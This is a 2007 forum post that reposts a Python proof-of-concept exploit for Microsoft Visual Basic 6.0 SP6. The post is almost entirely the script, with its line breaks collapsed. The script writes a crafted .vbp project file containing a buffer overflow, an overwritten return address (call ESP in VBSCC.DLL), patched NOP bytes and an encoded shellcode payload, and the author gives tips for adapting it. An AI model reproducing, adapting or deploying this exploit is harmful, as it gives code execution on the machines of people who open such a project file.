nullbyte Posted September 19, 2007 Report Posted September 19, 2007 #usage: vbexploit.py FileName.vbpimport sysprint "--------------------------------------------------------------------------"print " [PoC_2] Microsoft Visual Basic Enterprise Edition 6.0 SP6 Code Execution "print " author: shinnai"print " mail: shinnai[at]autistici[dot]org"print " site: http://shinnai.altervista.org\n"print " based on Koshi exploit"print " http://www.milw0rm.com/exploits/4361\n"print " I try his exploit on Windows XP Pro SP2 Ita, full patched and it doesn't"print " work, but he said:\n"print ' "# ...backwards..if you don' + "'t" + ' know why, then gtfo."\n'print " ok, now I know why brotha, I got this exception:\n"print ' "Access violation when writing to [63636363]"\n'print " so I search another way to get exploit working but I need to do some"print ' changes to memory address ("00" became "20") and nop ("90" became "3F").'print " Well, here it is a PoC_2 and if it doesn't work and" + ' "you don' + "'t know why,"print ' then"' + "... feel free to ask \n"print " dedicated to all Italian vb6 programmers... be safe bros"print "--------------------------------------------------------------------------"buff = "A" * 494EIP = "\x37\x17\x8B\x60"; #call ESP from VBSCC.DLL esp, you can (or must) change as you likebuff2 = "A" * 12RW_Memory = "\x20\x20\x01\x20" #patched writeable memory address "\x00\x00\x01\x00"nop = "\x3F\x3F\x3F\x3F" #patched nop "\x90"shellcode = \"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+\"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+\"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+\"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+\"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"+\"\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x47"+\"\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x54\x4a\x41\x4b\x38"+\"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48"+\"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"+\"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"+\"\x46\x4f\x4b\x43\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58"+\"\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x44"+\"\x4b\x48\x4f\x35\x4e\x41\x41\x30\x4b\x4e\x4b\x38\x4e\x51\x4b\x38"+\"\x41\x50\x4b\x4e\x49\x38\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"+\"\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x47"+\"\x4e\x30\x4b\x38\x42\x34\x4e\x50\x4b\x58\x42\x47\x4e\x41\x4d\x4a"+\"\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b"+\"\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x33"+\"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37"+\"\x42\x55\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x35\x4a\x36\x4a\x59"+\"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56"+\"\x4e\x46\x43\x56\x50\x32\x45\x46\x4a\x37\x45\x36\x42\x50\x5a"try:vb_proj = \'Type=Exe\n'+\'Reference=*\G{00020430-0000-0000-C000-000000000046}#2.0#0#..\..\..\WINDOWS'+\'\system32\stdole2.tlb#OLE Automation' + buff + EIP + buff2 + RW_Memory + nop + shellcode + nop +\'\nStartup="Sub Main"\n'+\'Command32=""\n'+\'Name=' + sys.argv[1]+\'\nHelpContextID="0"\n'+\'CompatibleMode="0"\n'+\'MajorVer=1\n'+\'MinorVer=0\n'+\'RevisionVer=0\n'+\'AutoIncrementVer=0\n'+\'ServerSupportFiles=0\n'+\'VersionCompanyName="xxx"\n'+\'CompilationType=0\n'+\'OptimizationType=0\n'+\'FavorPentiumPro™=0\n'+\'CodeViewDebugInfo=0\n'+\'NoAliasing=0\n'+\'BoundsCheck=0\n'+\'OverflowCheck=0\n'+\'FlPointCheck=0\n'+\'FDIVCheck=0\n'+\'UnroundedFP=0\n'+\'StartMode=0\n'+\'Unattended=0\n'+\'Retained=0\n'+\'ThreadPerObject=0\n'+\'MaxNumberOfThreads=1\n\n'+\'[MS Transaction Server]\n'+\'AutoRefresh=1'out_file = open(sys.argv[1],'w')out_file.write(vb_proj)out_file.close()print "\nFILE CREATION COMPLETED!\n"except:print " \n -------------------------------------"print " Usage: exploit.py FileName.vbp"print " -------------------------------------"print "\nAN ERROR OCCURS DURING FILE CREATION!" Quote